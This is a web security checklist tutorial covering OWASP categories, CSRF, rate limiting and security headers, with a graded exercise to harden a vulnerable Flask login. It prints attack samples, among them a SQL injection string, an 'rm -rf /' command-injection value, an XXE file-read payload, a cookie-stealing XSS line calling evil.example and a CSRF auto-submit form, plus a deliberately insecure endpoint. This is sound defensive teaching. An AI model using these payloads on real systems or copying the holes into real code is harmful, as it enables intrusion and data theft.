Web Security Checklist
1 · The lesson
readThe examples use Flask or FastAPI. Run them locally with the framework installed, because auth flows need a running server. Expected output is shown in comments.
You've built authentication, you've hashed your passwords, you've wired up OAuth. None of that helps if your app concatenates SQL strings, runs pickle.load on a webhook body, or ships with DEBUG=True. This lesson walks through the other security work that has to happen alongside authentication. It follows the ten categories of the 2017 OWASP Top 10, which cover most real-world web attacks, and adds practical extras the OWASP list doesn't cover (CSRF, rate limiting, dependency auditing, security headers).
Use it as a checklist before you launch. Each item has the same structure: what it is, how it's exploited, and how to defend against it.
1. Injection
What it is. Building queries or commands by string-concatenating user input.
Exploit. In the username field of a login form, an attacker types admin' OR '1'='1' --. If this is pasted directly into the SQL string, the query returns the admin user without checking a password.
# CATASTROPHIC cursor.execute(f"SELECT * FROM users WHERE email = '{email}'")
setup added so this can run · defines cursor, email
# Lightweight mock for objects whose attributes/methods aren't critical class _AutoMock: def __init__(self, name='mock'): self._name = name def __getattr__(self, k): return _AutoMock(self._name + '.' + k) def __call__(self, *a, **kw): print('-> ' + self._name + '() called') return _AutoMock(self._name + '()') def __repr__(self): return '<mock ' + self._name + '>' def __str__(self): return '<mock ' + self._name + '>' def __bool__(self): return True def __iter__(self): return iter([]) def __len__(self): return 0 def __getitem__(self, k): return _AutoMock(self._name + '[...]') def __setitem__(self, k, v): pass def __enter__(self): return self def __exit__(self, *a): return False async def __aenter__(self): return self async def __aexit__(self, *a): return False def __add__(self, o): return self def __radd__(self, o): return self def __sub__(self, o): return self def __mul__(self, o): return self def __rmul__(self, o): return self def __truediv__(self, o): return self def __eq__(self, o): return isinstance(o, _AutoMock) def __hash__(self): return hash(self._name) def __lt__(self, o): return True def __le__(self, o): return True def __gt__(self, o): return False def __ge__(self, o): return False def __mro_entries__(self, bases): return (object,) cursor = _AutoMock('cursor') email = _AutoMock('email')
Defend. Always use parameterised queries. The DB driver inserts the values safely:
# SAFE cursor.execute("SELECT * FROM users WHERE email = %s", (email,))
setup added so this can run · defines cursor, email
# Lightweight mock for objects whose attributes/methods aren't critical class _AutoMock: def __init__(self, name='mock'): self._name = name def __getattr__(self, k): return _AutoMock(self._name + '.' + k) def __call__(self, *a, **kw): print('-> ' + self._name + '() called') return _AutoMock(self._name + '()') def __repr__(self): return '<mock ' + self._name + '>' def __str__(self): return '<mock ' + self._name + '>' def __bool__(self): return True def __iter__(self): return iter([]) def __len__(self): return 0 def __getitem__(self, k): return _AutoMock(self._name + '[...]') def __setitem__(self, k, v): pass def __enter__(self): return self def __exit__(self, *a): return False async def __aenter__(self): return self async def __aexit__(self, *a): return False def __add__(self, o): return self def __radd__(self, o): return self def __sub__(self, o): return self def __mul__(self, o): return self def __rmul__(self, o): return self def __truediv__(self, o): return self def __eq__(self, o): return isinstance(o, _AutoMock) def __hash__(self): return hash(self._name) def __lt__(self, o): return True def __le__(self, o): return True def __gt__(self, o): return False def __ge__(self, o): return False def __mro_entries__(self, bases): return (object,) cursor = _AutoMock('cursor') email = _AutoMock('email')
This is covered in databases. The same applies to NoSQL: MongoDB injection via {"$ne": null} is a real attack, so never accept raw operator dictionaries from a request body.
Command injection is the same kind of attack in a different place:
# CATASTROPHIC if user_file is "foo; rm -rf /" subprocess.run(f"convert {user_file} output.png", shell=True) # SAFE: an argument list, with no shell subprocess.run(["convert", user_file, "output.png"])
setup added so this can run · defines subprocess, user_file
# Lightweight mock for objects whose attributes/methods aren't critical class _AutoMock: def __init__(self, name='mock'): self._name = name def __getattr__(self, k): return _AutoMock(self._name + '.' + k) def __call__(self, *a, **kw): print('-> ' + self._name + '() called') return _AutoMock(self._name + '()') def __repr__(self): return '<mock ' + self._name + '>' def __str__(self): return '<mock ' + self._name + '>' def __bool__(self): return True def __iter__(self): return iter([]) def __len__(self): return 0 def __getitem__(self, k): return _AutoMock(self._name + '[...]') def __setitem__(self, k, v): pass def __enter__(self): return self def __exit__(self, *a): return False async def __aenter__(self): return self async def __aexit__(self, *a): return False def __add__(self, o): return self def __radd__(self, o): return self def __sub__(self, o): return self def __mul__(self, o): return self def __rmul__(self, o): return self def __truediv__(self, o): return self def __eq__(self, o): return isinstance(o, _AutoMock) def __hash__(self): return hash(self._name) def __lt__(self, o): return True def __le__(self, o): return True def __gt__(self, o): return False def __ge__(self, o): return False def __mro_entries__(self, bases): return (object,) subprocess = _AutoMock('subprocess') user_file = _AutoMock('user_file')
shell=True with any user input is very dangerous. Always pass a list, and never construct command strings by concatenation.
2. Broken Authentication
What it is. Weak password hashing, predictable tokens, missing MFA, leaky errors.
The big ones are already covered: auth-passwords (hashing, sessions, cookies, rate-limiting) and auth-jwt (JWT validation pitfalls). One extra here:
Account enumeration via differentiated errors.
# CATASTROPHIC: this reveals which emails are registered if user is None: return "no account with that email", 404 if not verify(user.password, supplied): return "wrong password", 401
An attacker collects a million emails, tries /login with each one, and learns which ones have accounts on your site. That gives them a list of targets for phishing.
Defend. Return the same generic error for both branches:
if user is None or not verify(user.password, supplied): return "invalid credentials", 401
Return the same response time too. If the missing-user branch is fast and the password-check branch takes 250ms, the timing tells the attacker which emails exist. Do a dummy hash on the missing-user path:
DUMMY_HASH = svc.hash_password("dummy") # done once at module load if user is None: svc.verify(DUMMY_HASH, supplied) # take the same time as a real check return "invalid credentials", 401
3. Sensitive Data Exposure
What it is. Secrets, PII, payment data shipped over HTTP, logged in plain text, or stored unencrypted.
Defend at every layer:
- HTTPS everywhere. Let's Encrypt + a reverse proxy (nginx, Caddy) costs nothing. Redirect HTTP → HTTPS at the load balancer. Set the HSTS header (Section 13).
- Don't log secrets. Mask in repr, and never
print(dict(os.environ)). See envconfig. - Encrypt sensitive fields at rest when they're more sensitive than the DB itself: Stripe keys, integration tokens, anything regulated. The
cryptographypackage'sFernetis the simplest tool for this:
python
from cryptography.fernet import Fernet
key = os.environ["FIELD_ENCRYPTION_KEY"] # 32 bytes, base64-encoded
f = Fernet(key)
ciphertext = f.encrypt(b"sk_live_abc123")
plaintext = f.decrypt(ciphertext)
Secureflag on every auth cookie, as in auth-passwords Section 8.
4. XML External Entities (XXE)
What it is. XML parsers that resolve external entities can be tricked into reading local files or making network requests.
Exploit. A user uploads:
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]> <root>&xxe;</root>
A parser that resolves external entities reads /etc/passwd and embeds it in the parsed tree. Python's own xml.etree.ElementTree refuses external entities (it raises a ParseError), but it still expands internal ones, so a tiny "billion laughs" file can use up all your memory.
Defend. Use defusedxml for any XML from an untrusted source:
pip install defusedxml
from defusedxml.ElementTree import parse # NOT xml.etree tree = parse(uploaded_file)
setup added so this can run · defines uploaded_file
# Lightweight mock for objects whose attributes/methods aren't critical class _AutoMock: def __init__(self, name='mock'): self._name = name def __getattr__(self, k): return _AutoMock(self._name + '.' + k) def __call__(self, *a, **kw): print('-> ' + self._name + '() called') return _AutoMock(self._name + '()') def __repr__(self): return '<mock ' + self._name + '>' def __str__(self): return '<mock ' + self._name + '>' def __bool__(self): return True def __iter__(self): return iter([]) def __len__(self): return 0 def __getitem__(self, k): return _AutoMock(self._name + '[...]') def __setitem__(self, k, v): pass def __enter__(self): return self def __exit__(self, *a): return False async def __aenter__(self): return self async def __aexit__(self, *a): return False def __add__(self, o): return self def __radd__(self, o): return self def __sub__(self, o): return self def __mul__(self, o): return self def __rmul__(self, o): return self def __truediv__(self, o): return self def __eq__(self, o): return isinstance(o, _AutoMock) def __hash__(self): return hash(self._name) def __lt__(self, o): return True def __le__(self, o): return True def __gt__(self, o): return False def __ge__(self, o): return False def __mro_entries__(self, bases): return (object,) uploaded_file = _AutoMock('uploaded_file')
Same API as xml.etree, with external entity processing disabled. If you don't need XML, prefer JSON. If you must parse XML, never use the stdlib parsers directly on user input.
5. Broken Access Control: IDOR
What it is. Insecure Direct Object Reference: your endpoint looks up resources by ID without checking that the caller owns them.
Exploit.
@app.get("/api/orders/<int:order_id>") @login_required def get_order(order_id): return Order.query.get(order_id).to_json() # BUG: any logged-in user can see any order
setup added so this can run · defines login_required, app, Order
# Lightweight mock for objects whose attributes/methods aren't critical class _AutoMock: def __init__(self, name='mock'): self._name = name def __getattr__(self, k): return _AutoMock(self._name + '.' + k) def __call__(self, *a, **kw): print('-> ' + self._name + '() called') return _AutoMock(self._name + '()') def __repr__(self): return '<mock ' + self._name + '>' def __str__(self): return '<mock ' + self._name + '>' def __bool__(self): return True def __iter__(self): return iter([]) def __len__(self): return 0 def __getitem__(self, k): return _AutoMock(self._name + '[...]') def __setitem__(self, k, v): pass def __enter__(self): return self def __exit__(self, *a): return False async def __aenter__(self): return self async def __aexit__(self, *a): return False def __add__(self, o): return self def __radd__(self, o): return self def __sub__(self, o): return self def __mul__(self, o): return self def __rmul__(self, o): return self def __truediv__(self, o): return self def __eq__(self, o): return isinstance(o, _AutoMock) def __hash__(self): return hash(self._name) def __lt__(self, o): return True def __le__(self, o): return True def __gt__(self, o): return False def __ge__(self, o): return False def __mro_entries__(self, bases): return (object,) login_required = _AutoMock('login_required') app = _AutoMock('app') Order = _AutoMock('Order')
Attacker logs in to their own account, fetches /api/orders/1, /api/orders/2, … and reads every order in the database.
Defend. Always scope the query by the current user:
@app.get("/api/orders/<int:order_id>") @login_required def get_order(order_id): order = Order.query.filter_by(id=order_id, user_id=current_user.id).first() if order is None: abort(404) # 404, not 403, so we don't reveal the order exists return order.to_json()
setup added so this can run · defines login_required, app, abort, Order, current_user
# Lightweight mock for objects whose attributes/methods aren't critical class _AutoMock: def __init__(self, name='mock'): self._name = name def __getattr__(self, k): return _AutoMock(self._name + '.' + k) def __call__(self, *a, **kw): print('-> ' + self._name + '() called') return _AutoMock(self._name + '()') def __repr__(self): return '<mock ' + self._name + '>' def __str__(self): return '<mock ' + self._name + '>' def __bool__(self): return True def __iter__(self): return iter([]) def __len__(self): return 0 def __getitem__(self, k): return _AutoMock(self._name + '[...]') def __setitem__(self, k, v): pass def __enter__(self): return self def __exit__(self, *a): return False async def __aenter__(self): return self async def __aexit__(self, *a): return False def __add__(self, o): return self def __radd__(self, o): return self def __sub__(self, o): return self def __mul__(self, o): return self def __rmul__(self, o): return self def __truediv__(self, o): return self def __eq__(self, o): return isinstance(o, _AutoMock) def __hash__(self): return hash(self._name) def __lt__(self, o): return True def __le__(self, o): return True def __gt__(self, o): return False def __ge__(self, o): return False def __mro_entries__(self, bases): return (object,) login_required = _AutoMock('login_required') app = _AutoMock('app') def abort(*_a, **_kw): print('-> abort() called') return _AutoMock('abort()') Order = _AutoMock('Order') current_user = _AutoMock('current_user')
The filter does two jobs: it's a permission check and a query in one. Same pattern in any ORM:
# Django Order.objects.get(id=order_id, user=request.user) # SQLAlchemy session.query(Order).filter_by(id=order_id, user_id=current_user.id).one()
setup added so this can run · defines order_id, Order, request, current_user, session
# Lightweight mock for objects whose attributes/methods aren't critical class _AutoMock: def __init__(self, name='mock'): self._name = name def __getattr__(self, k): return _AutoMock(self._name + '.' + k) def __call__(self, *a, **kw): print('-> ' + self._name + '() called') return _AutoMock(self._name + '()') def __repr__(self): return '<mock ' + self._name + '>' def __str__(self): return '<mock ' + self._name + '>' def __bool__(self): return True def __iter__(self): return iter([]) def __len__(self): return 0 def __getitem__(self, k): return _AutoMock(self._name + '[...]') def __setitem__(self, k, v): pass def __enter__(self): return self def __exit__(self, *a): return False async def __aenter__(self): return self async def __aexit__(self, *a): return False def __add__(self, o): return self def __radd__(self, o): return self def __sub__(self, o): return self def __mul__(self, o): return self def __rmul__(self, o): return self def __truediv__(self, o): return self def __eq__(self, o): return isinstance(o, _AutoMock) def __hash__(self): return hash(self._name) def __lt__(self, o): return True def __le__(self, o): return True def __gt__(self, o): return False def __ge__(self, o): return False def __mro_entries__(self, bases): return (object,) order_id = _AutoMock('order_id') Order = _AutoMock('Order') request = _AutoMock('request') current_user = _AutoMock('current_user') session = _AutoMock('session')
For admin endpoints, check the role explicitly. For "shared" resources (a doc shared with multiple users), check via a permissions table. But always check on every request, against the authenticated user.
6. Security Misconfiguration
What it is. Default credentials, debug pages exposed, missing headers, verbose error pages in production.
The Flask one.
# CATASTROPHIC in production app.run(debug=True) # /console with a Python shell!
setup added so this can run · defines app
# Lightweight mock for objects whose attributes/methods aren't critical class _AutoMock: def __init__(self, name='mock'): self._name = name def __getattr__(self, k): return _AutoMock(self._name + '.' + k) def __call__(self, *a, **kw): print('-> ' + self._name + '() called') return _AutoMock(self._name + '()') def __repr__(self): return '<mock ' + self._name + '>' def __str__(self): return '<mock ' + self._name + '>' def __bool__(self): return True def __iter__(self): return iter([]) def __len__(self): return 0 def __getitem__(self, k): return _AutoMock(self._name + '[...]') def __setitem__(self, k, v): pass def __enter__(self): return self def __exit__(self, *a): return False async def __aenter__(self): return self async def __aexit__(self, *a): return False def __add__(self, o): return self def __radd__(self, o): return self def __sub__(self, o): return self def __mul__(self, o): return self def __rmul__(self, o): return self def __truediv__(self, o): return self def __eq__(self, o): return isinstance(o, _AutoMock) def __hash__(self): return hash(self._name) def __lt__(self, o): return True def __le__(self, o): return True def __gt__(self, o): return False def __ge__(self, o): return False def __mro_entries__(self, bases): return (object,) app = _AutoMock('app')
debug=True exposes the Werkzeug debugger: an interactive Python console that any browser can open when it gets a 500 error page. If your app is ever publicly reachable with that on, treat the box as compromised.
Defend.
DEBUG=False(or just don't setDEBUG=True) in any non-dev environment. (FLASK_ENVwas removed in Flask 2.3 and does nothing now.)- Same for Django:
DEBUG=Falsein prod,ALLOWED_HOSTSpopulated. - No default credentials on admin endpoints. No
admin/adminaccounts. - Don't expose
/admin,/.git,/wp-admin(this happens more often than you'd expect). Check all your routes. - Configure security headers (Section 13).
- Return generic 500 pages in production, log the full traceback server-side.
7. XSS: Cross-Site Scripting
What it is. User-supplied content rendered into a page without escaping, executing as script in other users' browsers.
Exploit. Comment form: <script>fetch('https://evil.example/?c=' + document.cookie)</script>. The next user who loads the page sends their session cookie to the attacker (unless the cookie is HttpOnly, see auth-passwords Section 8).
Defend.
Jinja2 (Flask) and Django templates auto-escape by default. The danger is |safe:
{{ comment.body }} {# safe, because it is escaped #}
{{ comment.body | safe }} {# DANGEROUS: outputs raw HTML #}Use |safe only when you've already sanitised the input (e.g. you've run a markdown-to-HTML pass through bleach). Never on raw user input.
For user-supplied URLs in href="...", validate the scheme, because javascript: URLs in an <a href> execute JS on click:
from urllib.parse import urlparse def safe_url(url): return urlparse(url).scheme in ("http", "https", "")
For JSON APIs that go to a JS frontend, you don't have a server-side template, but the client still needs to escape. Never use innerHTML = user_content. Use textContent or framework auto-escaping (React, Vue, Svelte).
Never eval() anything that came from a user. Same for exec(). There is no safe use of those on untrusted input.
Defence in depth: Content-Security-Policy header (see Section 13). A strict CSP blocks most XSS attacks even if you make a mistake in escaping.
8. Insecure Deserialisation
What it is. Calling pickle.load, yaml.load (unsafe), or marshal.loads on untrusted input.
Exploit. pickle.load can run arbitrary code, by design. An attacker who can supply a pickle byte string runs any Python code in your process:
import pickle # DO NOT: loading a malicious pickle runs the attacker's code (RCE) data = pickle.load(uploaded_file)
setup added so this can run · defines uploaded_file
# Lightweight mock for objects whose attributes/methods aren't critical class _AutoMock: def __init__(self, name='mock'): self._name = name def __getattr__(self, k): return _AutoMock(self._name + '.' + k) def __call__(self, *a, **kw): print('-> ' + self._name + '() called') return _AutoMock(self._name + '()') def __repr__(self): return '<mock ' + self._name + '>' def __str__(self): return '<mock ' + self._name + '>' def __bool__(self): return True def __iter__(self): return iter([]) def __len__(self): return 0 def __getitem__(self, k): return _AutoMock(self._name + '[...]') def __setitem__(self, k, v): pass def __enter__(self): return self def __exit__(self, *a): return False async def __aenter__(self): return self async def __aexit__(self, *a): return False def __add__(self, o): return self def __radd__(self, o): return self def __sub__(self, o): return self def __mul__(self, o): return self def __rmul__(self, o): return self def __truediv__(self, o): return self def __eq__(self, o): return isinstance(o, _AutoMock) def __hash__(self): return hash(self._name) def __lt__(self, o): return True def __le__(self, o): return True def __gt__(self, o): return False def __ge__(self, o): return False def __mro_entries__(self, bases): return (object,) uploaded_file = _AutoMock('uploaded_file')
Defend. Pickles are only for trusted, internal data: cache files your own server wrote, queue payloads on a private network. Never from a public endpoint, never from a webhook body.
- For JSON,
json.loadsis safe, because JSON doesn't execute code. - For YAML, use
yaml.safe_load, notyaml.load. The latter can instantiate arbitrary Python objects. - For schema-validated parsing, Pydantic or
marshmallowwith explicit field types. The schema acts as a typed allowlist.
9. Components with Known Vulnerabilities
What it is. Your requirements.txt contains a library with a published CVE.
Exploit. Someone scans your site, identifies the framework and its version, looks up the CVE, and uses it.
Defend. Scan your dependencies. Two tools:
pip install pip-audit pip-audit # scans the active environment # or, in CI pip-audit --requirement requirements.txt
pip install safety safety scan # replaced the older `safety check`
pip-audit is maintained by PyPA and uses the official PyPI vulnerability database. Run it in CI on every PR, automated with GitHub Actions (see devops-github-actions). Failing the build on a critical CVE costs little and prevents a lot.
Update regularly. Dependencies that are pinned and never updated become a security risk. Dependabot or Renovate automates the PRs.
10. Insufficient Logging & Monitoring
What it is. You can't respond to an incident you can't see.
Defend. Log, at minimum:
- Authentication events: success, failure, lockouts.
- Authorisation failures: 403s, blocked IDOR attempts.
- Admin actions: user role changes, deletions, config changes.
- Anything money-related: payments, refunds, balance changes.
What NOT to log:
- Passwords. Ever.
- Full session tokens or JWTs.
- Credit card numbers (PCI scope).
- Full request bodies on auth endpoints.
Send logs to a central service such as Sentry, Datadog, Loki or CloudWatch. A log line on the production server doesn't help when the server itself is compromised.
Have an incident response plan, even if it's a one-page doc: who's paged, what's the first action, how do we communicate to users. Practising it once a year is better than reading a polished plan for the first time at 3 AM.
11. CSRF: Cross-Site Request Forgery
What it is. A malicious site makes the user's browser send an authenticated request to your site. The browser attaches the credentials (cookies) automatically.
Exploit. User is logged into bank.com (auth cookie set). User visits evil.com, which has:
<form action="https://bank.com/transfer" method="POST">
<input name="to" value="attacker-account">
<input name="amount" value="10000">
</form>
<script>document.forms[0].submit()</script>Browser sends the POST to bank.com with the auth cookie. The bank's server sees nothing wrong and transfers the money.
Defend.
SameSite=Lax(orStrict) on the session cookie. This is the most effective single defence. Chrome, Edge and Opera default toLax, but Firefox and Safari don't, so set it explicitly.- CSRF tokens for cookie-authenticated forms. Flask-WTF and Django both provide them by default. FastAPI doesn't have built-in CSRF protection, so add it yourself (the
fastapi-csrf-protectlibrary, or your own double-submit pattern). - Bearer-token APIs are not vulnerable. The browser doesn't automatically attach an
Authorizationheader. The JS code onevil.comwould have to know the token and add it manually, which is the XSS problem, not CSRF.
Cookie-authenticated browsers need CSRF protection. Token-authenticated APIs don't (but they need other defences, see the XSS and storage discussion in auth-jwt Section 7).
12. Rate Limiting
What it is. Limits on requests per IP, per user, per endpoint.
Why. Login brute-force, password-reset spam, scraping, running up your bill on paid third-party APIs ("denial of wallet"), comment flooding. All of these attacks are cheap against an unprotected endpoint.
Tools:
| Framework | Library |
|---|---|
| Flask | flask-limiter |
| FastAPI | slowapi |
| Django | django-ratelimit |
# Flask from flask_limiter import Limiter from flask_limiter.util import get_remote_address limiter = Limiter(get_remote_address, app=app, default_limits=["1000 per hour"]) @app.post("/login") @limiter.limit("5 per minute") def login(): ... @app.post("/api/expensive") @limiter.limit("10 per minute") def expensive(): ...
setup added so this can run · defines app
# Lightweight mock for objects whose attributes/methods aren't critical class _AutoMock: def __init__(self, name='mock'): self._name = name def __getattr__(self, k): return _AutoMock(self._name + '.' + k) def __call__(self, *a, **kw): print('-> ' + self._name + '() called') return _AutoMock(self._name + '()') def __repr__(self): return '<mock ' + self._name + '>' def __str__(self): return '<mock ' + self._name + '>' def __bool__(self): return True def __iter__(self): return iter([]) def __len__(self): return 0 def __getitem__(self, k): return _AutoMock(self._name + '[...]') def __setitem__(self, k, v): pass def __enter__(self): return self def __exit__(self, *a): return False async def __aenter__(self): return self async def __aexit__(self, *a): return False def __add__(self, o): return self def __radd__(self, o): return self def __sub__(self, o): return self def __mul__(self, o): return self def __rmul__(self, o): return self def __truediv__(self, o): return self def __eq__(self, o): return isinstance(o, _AutoMock) def __hash__(self): return hash(self._name) def __lt__(self, o): return True def __le__(self, o): return True def __gt__(self, o): return False def __ge__(self, o): return False def __mro_entries__(self, bases): return (object,) app = _AutoMock('app')
Tighter limits on the dangerous endpoints (login, signup, password reset, anything with a side effect on a third-party API). Looser limits on read endpoints.
For distributed deployments, back the limiter with Redis so all instances share the counter. Without it, a 5-per-minute limit becomes 5 per minute per instance.
13. Security Headers
A few HTTP response headers greatly reduce the attack surface. Set them once, everywhere.
| Header | What it does |
|---|---|
Strict-Transport-Security (HSTS) | Tells browsers "only ever load this site over HTTPS." max-age=31536000; includeSubDomains; preload. |
Content-Security-Policy | Restricts where scripts/styles/images can load from. Top XSS defence-in-depth. |
X-Frame-Options: DENY | Prevents your site being framed (clickjacking defence). Superseded by CSP frame-ancestors, but still respected by older browsers. |
X-Content-Type-Options: nosniff | Browsers trust the Content-Type instead of guessing it. This blocks a type of MIME-confusion attack. |
Referrer-Policy: strict-origin-when-cross-origin | Stops leaking URL paths (and any tokens in query strings) to third-party sites. |
Permissions-Policy | Disables browser features your site doesn't need (camera, mic, geolocation). |
Don't set these by hand. Use a library that does it for you:
# Flask pip install flask-talisman
from flask_talisman import Talisman Talisman(app, content_security_policy={ "default-src": "'self'", "script-src": "'self' https://cdn.example.com", "style-src": "'self' 'unsafe-inline'", "img-src": "'self' data:", })
setup added so this can run · defines app
# Lightweight mock for objects whose attributes/methods aren't critical class _AutoMock: def __init__(self, name='mock'): self._name = name def __getattr__(self, k): return _AutoMock(self._name + '.' + k) def __call__(self, *a, **kw): print('-> ' + self._name + '() called') return _AutoMock(self._name + '()') def __repr__(self): return '<mock ' + self._name + '>' def __str__(self): return '<mock ' + self._name + '>' def __bool__(self): return True def __iter__(self): return iter([]) def __len__(self): return 0 def __getitem__(self, k): return _AutoMock(self._name + '[...]') def __setitem__(self, k, v): pass def __enter__(self): return self def __exit__(self, *a): return False async def __aenter__(self): return self async def __aexit__(self, *a): return False def __add__(self, o): return self def __radd__(self, o): return self def __sub__(self, o): return self def __mul__(self, o): return self def __rmul__(self, o): return self def __truediv__(self, o): return self def __eq__(self, o): return isinstance(o, _AutoMock) def __hash__(self): return hash(self._name) def __lt__(self, o): return True def __le__(self, o): return True def __gt__(self, o): return False def __ge__(self, o): return False def __mro_entries__(self, bases): return (object,) app = _AutoMock('app')
For FastAPI, the secure package, or middleware that sets the headers explicitly. For Django, django-csp plus the built-in security middleware.
Check your site with Mozilla Observatory (observatory.mozilla.org). It grades your headers and tells you what's missing.
14. CSRF Protection: The Code
If your framework doesn't protect you, the simplest pattern is the double-submit cookie: a random token in a cookie and in a request header, and the server checks that they match. Many frameworks have CSRF protection built in:
# Flask-WTF from flask_wtf.csrf import CSRFProtect CSRFProtect(app) # all POST/PUT/DELETE require the token
setup added so this can run · defines app
# Lightweight mock for objects whose attributes/methods aren't critical class _AutoMock: def __init__(self, name='mock'): self._name = name def __getattr__(self, k): return _AutoMock(self._name + '.' + k) def __call__(self, *a, **kw): print('-> ' + self._name + '() called') return _AutoMock(self._name + '()') def __repr__(self): return '<mock ' + self._name + '>' def __str__(self): return '<mock ' + self._name + '>' def __bool__(self): return True def __iter__(self): return iter([]) def __len__(self): return 0 def __getitem__(self, k): return _AutoMock(self._name + '[...]') def __setitem__(self, k, v): pass def __enter__(self): return self def __exit__(self, *a): return False async def __aenter__(self): return self async def __aexit__(self, *a): return False def __add__(self, o): return self def __radd__(self, o): return self def __sub__(self, o): return self def __mul__(self, o): return self def __rmul__(self, o): return self def __truediv__(self, o): return self def __eq__(self, o): return isinstance(o, _AutoMock) def __hash__(self): return hash(self._name) def __lt__(self, o): return True def __le__(self, o): return True def __gt__(self, o): return False def __ge__(self, o): return False def __mro_entries__(self, bases): return (object,) app = _AutoMock('app')
In the template, render {{ csrf_token() }} into a hidden form input. That's all you need.
For SPAs with cookie auth, expose the CSRF token via a Set-Cookie without HttpOnly (so JS can read it) and require it as a custom header on every state-changing request.
15. Input Validation at Boundaries
Never trust client-side validation alone. It exists for UX, but the security check must happen on the server.
- FastAPI: Pydantic models do the validation. Field types, regex constraints and min/max are declared in the model, checked on every request, and return a clear error when they fail.
- Django: forms (
forms.Form) and DRF serializers. - Flask:
WTForms,pydantic, ormarshmallow. Pick one and use it everywhere.
from pydantic import BaseModel, EmailStr, conint class SignupRequest(BaseModel): email: EmailStr age: conint(ge=13, le=150) name: str # FastAPI will reject if missing
A malformed request is rejected at the parsing step, before any business logic runs. This prevents a whole type of bug: "the field was null and we trusted it".
16. Secret Management
For local dev: .env plus python-dotenv, gitignored (see envconfig).
For production:
| Tool | Where it fits |
|---|---|
| AWS Secrets Manager | AWS-native, automatic rotation. |
| GCP Secret Manager | GCP-native equivalent. |
| Azure Key Vault | Azure equivalent. |
| HashiCorp Vault | Self-hosted, multi-cloud, detailed access policies. |
| Doppler / 1Password Secrets | Hosted, easy for developers to use. |
You can load secrets from any of these into the process environment at startup, so your code keeps reading os.environ["X"]. No secret should ever be stored in the repo.
17. Common Mistakes
1. Trusting client-side validation alone. Anyone can remove a required attribute with the browser devtools in a few seconds. Validate on the server, always.
2. Security by obscurity. A "hidden" /admin-secret-7f3a URL becomes public as soon as it appears in a leaked log. The URL is not what protects the page. The auth check is.
3. Rolling your own crypto. Same point as in auth-passwords. Security researchers find the flaws in home-made crypto quickly.
4. Turning off CSRF "because it's annoying". It's annoying because your form is missing the token field. Don't disable it. Fix the form.
5. Accidentally logging passwords. A debug logger.info(f"form: {request.form}") sends every password to your log system. Audit any logging on auth endpoints.
6. pip install from a typo. This is called typosquatting: a malicious package uses a name close to a popular one. In 2019, python3-dateutil (a copy of the name of the real python-dateutil) was removed from PyPI after it was found pulling in malicious code. Spell carefully, and use a pip lockfile (pip-tools, uv, Poetry) that records exact names and hashes.
7. DEBUG=True in production. Werkzeug debugger or Django's verbose 500s leak source code, env vars, sometimes a live Python shell. Pin DEBUG=False, and make the app refuse to start if it's True outside dev.
8. CORS too permissive. Echoing back whatever Origin the request sends, together with Access-Control-Allow-Credentials: true, lets any website read your users' data with their cookies. (* with credentials doesn't leak: browsers refuse it outright.) Use a strict allowlist of origins.
🎯 Your Turn: Harden a Vulnerable Flask Endpoint
You're given a deliberately insecure login endpoint. It has at least four problems:
1. SQL injection: email is concatenated into the query.
2. Account enumeration: different error messages for "no such user" vs "wrong password".
3. No CSRF protection: POST endpoint, cookie-authenticated, no token.
4. No rate limit: open to brute-force.
Produce a hardened version. Use argon2-cffi for password verification (assume users table stores argon2 hashes).
Skeleton:
import sqlite3 from flask import Flask, request, session app = Flask(__name__) app.secret_key = "DEBUG-not-for-prod" # FIX 0: use os.environ in real life DB = sqlite3.connect("app.db", check_same_thread=False) @app.post("/login") def login_vulnerable(): email = request.form["email"] password = request.form["password"] # BUG 1: SQL injection row = DB.execute(f"SELECT id, password FROM users WHERE email = '{email}'").fetchone() if row is None: # BUG 2: a different error reveals "no such user" return "no account with that email", 404 user_id, stored_hash = row if stored_hash != password: # BUG: compares plain text (the password is not hashed) return "wrong password", 401 # BUG 3: no CSRF defence on this POST, which uses cookie auth # BUG 4: no rate limit, so brute-force guessing is possible session["user_id"] = user_id return "ok"
Hint 1: Fix in the right order
1. Parameterise the query ("... WHERE email = ?", (email,)). 2. Replace plaintext compare with PasswordService.verify(...) from auth-passwords. 3. Return one generic error for both branches, and do a dummy-hash on the missing-user path to equalise timing. 4. Add flask-limiter decorator. 5. Add CSRFProtect(app) at the top.
Hint 2: Fix session fixation at the same time
Once the password check passes,session.clear() before writing session["user_id"]. This defeats session fixation (see auth-passwords Section 9). It costs only one extra line.
Show full solution
import os import sqlite3 from flask import Flask, request, session from flask_wtf.csrf import CSRFProtect from flask_limiter import Limiter from flask_limiter.util import get_remote_address from argon2 import PasswordHasher from argon2.exceptions import VerifyMismatchError, InvalidHashError app = Flask(__name__) app.secret_key = os.environ["FLASK_SECRET"] # FIX 0: read from the environment, never hardcoded app.config.update( SESSION_COOKIE_HTTPONLY=True, SESSION_COOKIE_SECURE=True, SESSION_COOKIE_SAMESITE="Lax", ) CSRFProtect(app) # FIX 3: CSRF tokens enforced limiter = Limiter(app=app, key_func=get_remote_address) # FIX 4: rate limiting DB = sqlite3.connect("app.db", check_same_thread=False) ph = PasswordHasher() # One dummy hash, made at startup, so a missing user takes as long as a real one _DUMMY_HASH = ph.hash("dummy-password-not-real") @app.post("/login") @limiter.limit("5 per minute; 50 per hour") # FIX 4 def login(): email = request.form.get("email", "").strip().lower() password = request.form.get("password", "") if not email or not password: return "invalid credentials", 401 # FIX 2: generic message # FIX 1: a parameterised query, so the sqlite3 driver does the escaping row = DB.execute( "SELECT id, password FROM users WHERE email = ?", (email,), ).fetchone() if row is None: # Equal timing: run the same ~250ms argon2 check as for a real user try: ph.verify(_DUMMY_HASH, password) except (VerifyMismatchError, InvalidHashError): pass return "invalid credentials", 401 # FIX 2: same message as below user_id, stored_hash = row try: ph.verify(stored_hash, password) except (VerifyMismatchError, InvalidHashError): return "invalid credentials", 401 # FIX 2: same message as above # Re-hash quietly if the cost settings have changed if ph.check_needs_rehash(stored_hash): new_hash = ph.hash(password) DB.execute("UPDATE users SET password = ? WHERE id = ?", (new_hash, user_id)) DB.commit() session.clear() # session fixation defence session["user_id"] = user_id return "ok" # In the template that renders the login form: # <form method="POST" action="/login"> # <input type="hidden" name="csrf_token" value="{{ csrf_token() }}"> # <input name="email" type="email" required> # <input name="password" type="password" required> # <button type="submit">Sign in</button> # </form>
setup added so this can run · defines
import os # noqa: F401 os.environ.setdefault("FLASK_SECRET", "example-flask-secret")
What changed and why:
| Fix | Defends against |
|---|---|
Parameterised query (? + tuple) | SQL injection (the driver escapes values) |
